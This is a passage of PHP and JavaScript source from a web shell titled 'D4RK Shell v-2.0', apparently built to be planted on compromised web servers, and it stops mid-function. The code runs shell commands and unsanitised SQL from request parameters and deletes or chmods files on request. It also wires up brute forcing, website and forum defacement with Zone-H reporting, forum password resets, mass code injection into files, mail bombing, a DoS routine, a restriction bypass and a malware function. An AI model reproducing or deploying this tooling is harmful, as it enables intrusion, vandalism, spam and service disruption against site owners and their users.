4590 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4591 $num = mysql_num_rows( $pResult );
4592
4593 $rowcount = $num;
4594
4595 $pResultLen = mysql_list_fields( $dbname, $tablename );
4596
4597 for( $i = 0; $i < $num; $i++ )
4598 {
4599 $field = mysql_fetch_array( $pResult );
4600 $fieldname = $field["Field"];
4601 $arrdata = $_REQUEST[$fieldname];
4602
4603 $str1 .= "".$fieldname . ",";
4604 $str2 .= "'".$arrdata . "',";
4605 $rowcount--;
4606 if($rowcount != 0)
4607 {
4608 //$str1 .= $fieldname . ",";
4609 //$str2 .= $arrdata . ",";
4610 }
4611 }
4612 $str1=eregi_replace(',$', '', $str1);
4613 $str2=eregi_replace(',$', '', $str2);
4614 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
4615 mysql_query($str);
4616
4617 ?><div id="showsql"></div><?php
4618}
4619else if(isset($_GET['logoutdb']))
4620{
4621 setcookie("dbserver",time() - 60*60);
4622 setcookie("dbuser",time() - 60*60);
4623 setcookie("dbpass",time() - 60*60);
4624 header("Location:$self");
4625}
4626else if(isset($_POST['choice']))
4627{
4628 if($_POST['choice'] == "delete")
4629 {
4630 $actbox = $_POST["actbox"];
4631
4632 foreach ($actbox as $myv)
4633 $myv = explode(",",$myv);
4634 foreach ($myv as $v)
4635 {
4636 if(is_file($v))
4637 {
4638 if(unlink($v))
4639 echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
4640 else
4641 echo "<br><center>Cannot Delete File $v</center>";
4642 }
4643 else if(is_dir($v))
4644 {
4645 rrmdir($v);
4646 }
4647 }
4648 }
4649 else if($_POST['choice'] == "chmod")
4650 { ?>
4651 <form id="chform"><?php
4652 $actbox1 = $_POST['actbox'];
4653 foreach ($actbox1 as $myv)
4654 $myv = explode(",",$myv);
4655 foreach ($myv as $v)
4656 { ?>
4657 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
4658 <?php }
4659 ?>
4660 <table align="center" border="3" style="width:40%; border-color:#333333;">
4661 <tr>
4662 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
4663 </tr>
4664 <tr>
4665 <td colspan="2" align="center" style="height:60px">
4666 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
4667 </tr>
4668 </table>
4669
4670 </form> <?php
4671 }
4672 else if($_POST['choice'] == "changefileperms")
4673 {
4674 if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
4675 {
4676 $actbox = $_POST["actbox"];
4677 foreach ($actbox as $myv)
4678 $myv = explode(",",$myv);
4679 foreach ($myv as $v)
4680 {
4681 if(is_file($v) || is_dir($v))
4682 {
4683 $perms = 0;
4684 for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
4685 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
4686 echo "<div align=left style=width:60%;>";
4687 if(@chmod($v,$perms))
4688 echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
4689 else
4690 echo "Cannot Change $v File Permissions<br>";
4691 echo "</div>";
4692 }
4693 }
4694
4695 }
4696 }
4697 else if($_POST['choice'] == "compre")
4698 {
4699 $actbox = $_POST["actbox"];
4700 foreach ($actbox as $myv)
4701 $myv = explode(",",$myv);
4702 foreach ($myv as $v)
4703 {
4704 if(is_file($v))
4705 {
4706 $zip = new ZipArchive();
4707 $filename= basename($v) . '.zip';
4708 if(($zip->open($filename, ZipArchive::CREATE))!==true)
4709 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
4710 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
4711 $zip->addFile(basename($v));
4712 $zip->close();
4713 }
4714 else if(is_dir($v))
4715 {
4716 if($os == "Linux")
4717 {
4718 $filename= basename($v);
4719 execmd("tar --create --recursion --file=$filename.tar $v");
4720 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
4721 }
4722 }
4723 }
4724 }
4725 else if($_POST['choice'] == "uncompre")
4726 {
4727 $actbox = $_POST["actbox"];
4728 foreach ($actbox as $myv)
4729 $myv = explode(",",$myv);
4730 foreach ($myv as $v)
4731 {
4732 if(is_file($v) || is_dir($v))
4733 {
4734 $zip = new ZipArchive;
4735 $filename= basename($v);
4736 $res = $zip->open($filename);
4737 if ($res === TRUE)
4738 {
4739 $pieces = explode(".",$filename);
4740 $zip->extractTo($pieces[0]);
4741 $zip->close();
4742 echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
4743 } else
4744 echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
4745 }
4746 }
4747 }
4748}
4749else if(isset($_GET['sitename']))
4750{
4751 $sitename = str_replace("http://","",$_GET['sitename']);
4752 $sitename = str_replace("http://www.","",$sitename);
4753 $sitename = str_replace("www.","",$sitename);
4754 $show = myexe("ls -la /etc/valiases/".$sitename);
4755 if(!empty($show))
4756 echo $show;
4757 else
4758 echo "Cannot get the username";
4759}
4760else if(isset($_GET['mydata']))
4761{
4762 listdatabase();
4763}
4764else if(isset($_GET['home']))
4765{
4766 mainfun($_GET['home']);
4767}
4768else if(isset($_GET['dir']))
4769{
4770 mainfun($_GET['myfilepath']);
4771}
4772else if(isset($_GET['mydirpath']))
4773{
4774 echo is_writable($_GET['mydirpath'])?"<font class=txt>< writable ></font>":"< not writable >";
4775}
4776else
4777{
4778?>
4779<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4780<title>D4RK Shell v-2.0</title>
4781<script type="text/javascript">
4782checked = false;
4783var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
4784function checkedAll ()
4785{
4786 if (checked == false){checked = true}else{checked = false}
4787 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
4788 {
4789 document.getElementById('myform').elements[i].checked = checked;
4790 }
4791}
4792function urlchange(myfilepath)
4793{
4794 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
4795 splitter = "<?php echo addslashes($directorysperator); ?>";
4796 mypath = mpath = myfilepath.split(splitter);
4797 <?php if($os == "Linux") { ?>
4798 r = "/";
4799 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
4800 <?php } ?>
4801 for (i = 0; i < mypath.length; i++)
4802 {
4803 if(mypath[i] == "")
4804 continue;
4805 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
4806
4807 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
4808 }
4809 myurl = myurl.replace(/\\/g,"\\\\");
4810 return myurl;
4811}
4812function wrtblDIR(mydirpath)
4813{
4814 var ajaxRequest;
4815 ajaxRequest = new XMLHttpRequest();
4816
4817 ajaxRequest.onreadystatechange = function()
4818 {
4819 if(ajaxRequest.readyState == 4)
4820 {
4821 for(i=0;i<=3;i++)
4822 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
4823 }
4824 }
4825
4826 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?&mydirpath="+mydirpath, true);
4827 ajaxRequest.send(null);
4828}
4829function setpath(myfilpath)
4830{
4831 wrtblDIR(myfilpath);
4832 document.getElementById("path").value=myfilpath;
4833 document.getElementById("createfile").value=myfilpath;
4834 document.getElementById("createfolder").value=myfilpath;
4835 document.getElementById("createfolder").value=myfilpath;
4836 document.getElementById("exepath").value=myfilpath;
4837 document.getElementById("auexepath").value=myfilpath;
4838 document.getElementById("showdir").innerHTML="";
4839}
4840function changedir(myaction,myfilepath)
4841{
4842 var myurl = urlchange(myfilepath);
4843
4844 document.getElementById("showmaindata").innerHTML=waitstate;
4845 var ajaxRequest;
4846 ajaxRequest = new XMLHttpRequest();
4847
4848 ajaxRequest.onreadystatechange = function()
4849 {
4850 if(ajaxRequest.readyState == 4)
4851 {
4852 setpath(myfilepath);
4853 document.getElementById("crdir").innerHTML=myurl;
4854 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4855 }
4856 }
4857
4858 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
4859 ajaxRequest.send(null);
4860}
4861function gethome(myaction,mydir)
4862{
4863 var myurl = urlchange(mydir);
4864 document.getElementById("showmaindata").innerHTML=waitstate;
4865 var ajaxRequest;
4866 ajaxRequest = new XMLHttpRequest();
4867
4868 ajaxRequest.onreadystatechange = function()
4869 {
4870 if(ajaxRequest.readyState == 4)
4871 {
4872 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4873 setpath(mydir);
4874 document.getElementById("crdir").innerHTML=myurl;
4875 }
4876 }
4877
4878 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
4879 ajaxRequest.send(null);
4880}
4881function getname(sitename)
4882{
4883 document.getElementById("showsite").innerHTML=waitstate;
4884 var ajaxRequest;
4885 ajaxRequest = new XMLHttpRequest();
4886
4887 ajaxRequest.onreadystatechange = function()
4888 {
4889 if(ajaxRequest.readyState == 4)
4890 {
4891 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
4892 }
4893 }
4894
4895 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
4896 ajaxRequest.send(null);
4897}
4898function myaction(myfileaction,chmode)
4899{
4900 var mytype = document.getElementsByName('actbox[]');
4901 var mychoice = new Array();
4902
4903 for (var i = 0, length = mytype.length; i < length; i++)
4904 {
4905 if (mytype[i].checked)
4906 mychoice[i] = mytype[i].value;
4907 }
4908
4909 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
4910
4911 document.getElementById("showdir").innerHTML=waitstate;
4912 var ajaxRequest;
4913 ajaxRequest = new XMLHttpRequest();
4914
4915 ajaxRequest.onreadystatechange = function()
4916 {
4917 if(ajaxRequest.readyState == 4)
4918 {
4919 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
4920 }
4921 }
4922
4923 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4924 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4925 ajaxRequest.send(params);
4926}
4927function editdata()
4928{
4929 var result = "", // initialize list
4930 i,dbname,tablename;
4931 // iterate through arguments
4932 for (i = 1; i < arguments.length; i++)
4933 {
4934 if(i%2 == 0)
4935 result += arguments[i]+'=';
4936 else
4937 result += arguments[i]+'&';
4938 }
4939 result = result.slice(0, -1);
4940
4941 dbname = arguments[3];
4942 tablename = arguments[5];
4943 var result=result.replace(/D4RK_/g,"");
4944 var params = arguments[0]+"="+result;
4945
4946 document.getElementById("showsql").innerHTML=waitstate;
4947 var ajaxRequest;
4948 ajaxRequest = new XMLHttpRequest();
4949
4950 ajaxRequest.onreadystatechange = function()
4951 {
4952 if(ajaxRequest.readyState == 4)
4953 {
4954 viewtables('listTables',dbname,tablename);
4955 }
4956 }
4957
4958 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4959 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4960 ajaxRequest.send(params);
4961}
4962function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
4963{
4964 document.getElementById("showsql").innerHTML=waitstate;
4965 var ajaxRequest;
4966 ajaxRequest = new XMLHttpRequest();
4967
4968 ajaxRequest.onreadystatechange = function()
4969 {
4970 if(ajaxRequest.readyState == 4)
4971 {
4972 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
4973 }
4974 }
4975
4976 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
4977 ajaxRequest.send(null);
4978}
4979function mydatabase(server,username,password)
4980{
4981 document.getElementById("showsql").innerHTML=waitstate;
4982 var ajaxRequest;
4983 ajaxRequest = new XMLHttpRequest();
4984
4985 ajaxRequest.onreadystatechange = function()
4986 {
4987 if(ajaxRequest.readyState == 4)
4988 {
4989 mydatago();
4990 }
4991 }
4992
4993 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
4994 ajaxRequest.send(null);
4995}
4996function mydatago()
4997{
4998 var ajaxRequest;
4999 ajaxRequest = new XMLHttpRequest();
5000
5001 ajaxRequest.onreadystatechange = function()
5002 {
5003 if(ajaxRequest.readyState == 4)
5004 {
5005 document.getElementById("datatable").style.display = 'none';
5006 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5007 }
5008 }
5009
5010 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
5011 ajaxRequest.send(null);
5012}
5013function bruteforce(prototype,serverport,login,dict)
5014{
5015 var mytype = document.getElementsByName('mytype');
5016 for (var i = 0, length = mytype.length; i < length; i++)
5017 {
5018 if (mytype[i].checked)
5019 break;
5020 }
5021 var getreverse = 0;
5022 if(document.getElementById('reverse').checked == true)
5023 getreverse = 1;
5024 else
5025 getreverse = 0;
5026
5027 document.getElementById("showbrute").innerHTML=waitstate;
5028 var ajaxRequest;
5029 ajaxRequest = new XMLHttpRequest();
5030
5031 ajaxRequest.onreadystatechange = function()
5032 {
5033 if(ajaxRequest.readyState == 4)
5034 {
5035 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
5036 }
5037 }
5038
5039 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
5040 ajaxRequest.send(null);
5041}
5042function executemyfile(action,executepath,execute)
5043{
5044 document.getElementById("showmaindata").innerHTML=waitstate;
5045 var ajaxRequest;
5046 ajaxRequest = new XMLHttpRequest();
5047
5048 ajaxRequest.onreadystatechange = function()
5049 {
5050 if(ajaxRequest.readyState == 4)
5051 {
5052 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5053 }
5054 }
5055
5056 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
5057 ajaxRequest.send(null);
5058}
5059function maindata(myaction,dir)
5060{
5061 document.getElementById("showmaindata").innerHTML=waitstate;
5062 var ajaxRequest;
5063 ajaxRequest = new XMLHttpRequest();
5064
5065 ajaxRequest.onreadystatechange = function()
5066 {
5067 if(ajaxRequest.readyState == 4)
5068 {
5069 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5070 document.getElementById("showdir").innerHTML="";
5071 }
5072 }
5073
5074 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
5075 ajaxRequest.send(null);
5076}
5077function manuallyscriptfn(passwd)
5078{
5079 var message = encodeURIComponent(passwd);
5080 var params = "scriptlocator=scriptlocator&passwd="+passwd;
5081 document.getElementById("showdata").innerHTML=waitstate;
5082 var ajaxRequest;
5083 ajaxRequest = new XMLHttpRequest();
5084
5085 ajaxRequest.onreadystatechange = function()
5086 {
5087 if(ajaxRequest.readyState == 4)
5088 {
5089 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5090 }
5091 }
5092
5093 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5094 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5095 ajaxRequest.send(params);
5096}
5097function my404page(message)
5098{
5099 var message = encodeURIComponent(message);
5100 var params = "404page=404page&message="+message;
5101 document.getElementById("showdata").innerHTML=waitstate;
5102 var ajaxRequest;
5103 ajaxRequest = new XMLHttpRequest();
5104
5105 ajaxRequest.onreadystatechange = function()
5106 {
5107 if(ajaxRequest.readyState == 4)
5108 {
5109 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5110 }
5111 }
5112
5113 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5114 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5115 ajaxRequest.send(params);
5116}
5117function executemyfn(executepath,executemycmd)
5118{
5119 document.getElementById("showexecute").innerHTML="Wait....";
5120 var ajaxRequest;
5121 ajaxRequest = new XMLHttpRequest();
5122
5123 ajaxRequest.onreadystatechange = function()
5124 {
5125 if(ajaxRequest.readyState == 4)
5126 {
5127 document.getElementById("showexecute").innerHTML=ajaxRequest.responseText;
5128 }
5129 }
5130
5131 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
5132 ajaxRequest.send(null);
5133}
5134function zoneh(defacer,hackmode,reason,domain)
5135{
5136 var domain = encodeURIComponent(domain);
5137 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
5138 document.getElementById("showzone").innerHTML=waitstate;
5139 var ajaxRequest;
5140 ajaxRequest = new XMLHttpRequest();
5141
5142 ajaxRequest.onreadystatechange = function()
5143 {
5144 if(ajaxRequest.readyState == 4)
5145 {
5146 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
5147 }
5148 }
5149
5150 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5151 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5152 ajaxRequest.send(params);
5153}
5154function savemyfile(file,content)
5155{
5156 var content = encodeURIComponent(content);
5157 var params = "content="+content+"&file="+file;
5158 document.getElementById("showmydata").innerHTML=waitstate;
5159 var ajaxRequest;
5160 ajaxRequest = new XMLHttpRequest();
5161
5162 ajaxRequest.onreadystatechange = function()
5163 {
5164 if(ajaxRequest.readyState == 4)
5165 {
5166 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5167 }
5168 }
5169
5170 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5171 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5172 ajaxRequest.send(params);
5173}
5174function renamefun(file,to)
5175{
5176 document.getElementById("showmydata").innerHTML=waitstate;
5177 var ajaxRequest;
5178 ajaxRequest = new XMLHttpRequest();
5179
5180 ajaxRequest.onreadystatechange = function()
5181 {
5182 if(ajaxRequest.readyState == 4)
5183 {
5184 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5185 }
5186 }
5187
5188 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
5189 ajaxRequest.send(null);
5190}
5191function changeperms(chmode,myfilename)
5192{
5193 document.getElementById("showmydata").innerHTML=waitstate;
5194 var ajaxRequest;
5195 ajaxRequest = new XMLHttpRequest();
5196
5197 ajaxRequest.onreadystatechange = function()
5198 {
5199 if(ajaxRequest.readyState == 4)
5200 {
5201 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5202 }
5203 }
5204
5205 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
5206 ajaxRequest.send(null);
5207}
5208function defacefun(deface)
5209{
5210 var ajaxRequest;
5211 ajaxRequest = new XMLHttpRequest();
5212
5213 ajaxRequest.onreadystatechange = function()
5214 {
5215 if(ajaxRequest.readyState == 4)
5216 {
5217 alert(ajaxRequest.responseText);
5218 }
5219 }
5220
5221 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
5222 ajaxRequest.send(null);
5223}
5224function fileaction(myaction,myfilepath)
5225{
5226 document.getElementById("showmydata").innerHTML=waitstate;
5227 var ajaxRequest;
5228 ajaxRequest = new XMLHttpRequest();
5229
5230 ajaxRequest.onreadystatechange = function()
5231 {
5232 if(ajaxRequest.readyState == 4)
5233 {
5234 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5235 }
5236 }
5237
5238 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5239 ajaxRequest.send(null);
5240}
5241function bypassfun(funct,functvalue,optiontype)
5242{
5243 document.getElementById("showbyp").innerHTML=waitstate;
5244 var ajaxRequest;
5245 ajaxRequest = new XMLHttpRequest();
5246
5247 ajaxRequest.onreadystatechange = function()
5248 {
5249 if(ajaxRequest.readyState == 4)
5250 {
5251 document.getElementById("showbyp").innerHTML=ajaxRequest.responseText;
5252 }
5253 }
5254
5255 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
5256 ajaxRequest.send(null);
5257}
5258function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
5259{
5260 document.getElementById("showdos").innerHTML=waitstate;
5261 var ajaxRequest;
5262 ajaxRequest = new XMLHttpRequest();
5263
5264 ajaxRequest.onreadystatechange = function()
5265 {
5266 if(ajaxRequest.readyState == 4)
5267 {
5268 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
5269 }
5270 }
5271
5272 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
5273 ajaxRequest.send(null);
5274}
5275function createfile(filecreator,filecontent)
5276{
5277 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
5278 var filecontent = encodeURIComponent(filecontent);
5279 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
5280 document.getElementById("showdir").innerHTML=waitstate;
5281 var ajaxRequest;
5282 ajaxRequest = new XMLHttpRequest();
5283
5284 ajaxRequest.onreadystatechange = function()
5285 {
5286 if(ajaxRequest.readyState == 4)
5287 {
5288 gethome('home',mm);
5289 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5290 }
5291 }
5292
5293 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5294 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5295 ajaxRequest.send(params);
5296}
5297function createdir(create,createfolder)
5298{
5299 document.getElementById("showdir").innerHTML=waitstate;
5300 var ajaxRequest;
5301 ajaxRequest = new XMLHttpRequest();
5302
5303 ajaxRequest.onreadystatechange = function()
5304 {
5305 if(ajaxRequest.readyState == 4)
5306 {
5307 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5308 }
5309 }
5310
5311 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
5312 ajaxRequest.send(null);
5313}
5314function codeinsert(code)
5315{
5316 var code = encodeURIComponent(code);
5317 var params = "getcode="+code;
5318 document.getElementById("showcode").innerHTML=waitstate;
5319 var ajaxRequest;
5320 ajaxRequest = new XMLHttpRequest();
5321
5322 ajaxRequest.onreadystatechange = function()
5323 {
5324 if(ajaxRequest.readyState == 4)
5325 {
5326 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
5327 }
5328 }
5329
5330 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5331 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5332 ajaxRequest.send(params);
5333}
5334function getmydata(mydata)
5335{
5336 document.getElementById("showmydata").innerHTML=waitstate;
5337 var ajaxRequest;
5338 ajaxRequest = new XMLHttpRequest();
5339
5340 ajaxRequest.onreadystatechange = function()
5341 {
5342 if(ajaxRequest.readyState == 4)
5343 {
5344 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5345 }
5346 }
5347
5348 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
5349 ajaxRequest.send(null);
5350}
5351function getdata(mydata,myfile)
5352{
5353 document.getElementById("showdata").innerHTML=waitstate;
5354 var ajaxRequest;
5355 ajaxRequest = new XMLHttpRequest();
5356
5357 ajaxRequest.onreadystatechange = function()
5358 {
5359 if(ajaxRequest.readyState == 4)
5360 {
5361 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5362 }
5363 }
5364
5365 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
5366 ajaxRequest.send(null);
5367}
5368function getport(host,protocol,start,end)
5369{
5370 document.getElementById("showports").innerHTML=waitstate;
5371 var ajaxRequest;
5372 ajaxRequest = new XMLHttpRequest();
5373
5374 ajaxRequest.onreadystatechange = function()
5375 {
5376 if(ajaxRequest.readyState == 4)
5377 {
5378 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
5379 }
5380 }
5381
5382 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
5383 ajaxRequest.send(null);
5384}
5385function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)
5386{
5387 document.getElementById("showchangepass").innerHTML=waitstate;
5388 var ajaxRequest;
5389 ajaxRequest = new XMLHttpRequest();
5390
5391 ajaxRequest.onreadystatechange = function()
5392 {
5393 if(ajaxRequest.readyState == 4)
5394 {
5395 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
5396 }
5397 }
5398
5399 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uid=" + uid + "&uname=" + uname + "&newpass=" + newpass, true);
5400 ajaxRequest.send(null);
5401}
5402function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)
5403{
5404 var index = encodeURIComponent(index);
5405 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&alll="+alll+"&f5="+f5;
5406 document.getElementById("showdeface").innerHTML=waitstate;
5407 var ajaxRequest;
5408 ajaxRequest = new XMLHttpRequest();
5409
5410 ajaxRequest.onreadystatechange = function()
5411 {
5412 if(ajaxRequest.readyState == 4)
5413 {
5414 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
5415 }
5416 }
5417
5418 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5419 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5420 ajaxRequest.send(params);
5421}
5422function codeinjector(pathtomass,mode,filetype,injectthis)
5423{
5424 var injectthis = encodeURIComponent(injectthis);
5425 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
5426 document.getElementById("showinject").innerHTML=waitstate;
5427 var ajaxRequest;
5428 ajaxRequest = new XMLHttpRequest();
5429
5430 ajaxRequest.onreadystatechange = function()
5431 {
5432 if(ajaxRequest.readyState == 4)
5433 {
5434 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
5435 }
5436 }
5437
5438 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5439 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5440 ajaxRequest.send(params);
5441}
5442function sendmail(mailfunction,to,subject,message,from,times,padding)
5443{
5444 var message = encodeURIComponent(message);
5445 if(mailfunction == "massmailing")
5446 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
5447 else if(mailfunction == "dobombing")
5448 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
5449 document.getElementById("showmail").innerHTML=waitstate;
5450 var ajaxRequest;
5451 ajaxRequest = new XMLHttpRequest();
5452
5453 ajaxRequest.onreadystatechange = function()
5454 {
5455 if(ajaxRequest.readyState == 4)
5456 {
5457 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
5458 }
5459 }
5460
5461 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5462 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5463 ajaxRequest.send(params);
5464}
5465function execode(code)
5466{
5467 var intext = document.getElementById('intext').checked;
5468 var message = encodeURIComponent(message);
5469 var params = "code="+code+"&intext="+intext;
5470 document.getElementById("showresult").innerHTML=waitstate;
5471 var ajaxRequest;
5472 ajaxRequest = new XMLHttpRequest();
5473
5474 ajaxRequest.onreadystatechange = function()
5475 {
5476 if(ajaxRequest.readyState == 4)
5477 {
5478 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
5479 }
5480 }
5481
5482 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5483 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5484 ajaxRequest.send(params);
5485}
5486function malwarefun(malwork)
5487{
5488 var malpath = document.getElementById('createfile').value;
5489 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5490 var ajaxRequest;
5491 ajaxRequest = new XMLHttpRequest();
5492
5493 ajaxRequest.onreadystatechange = function()
5494 {
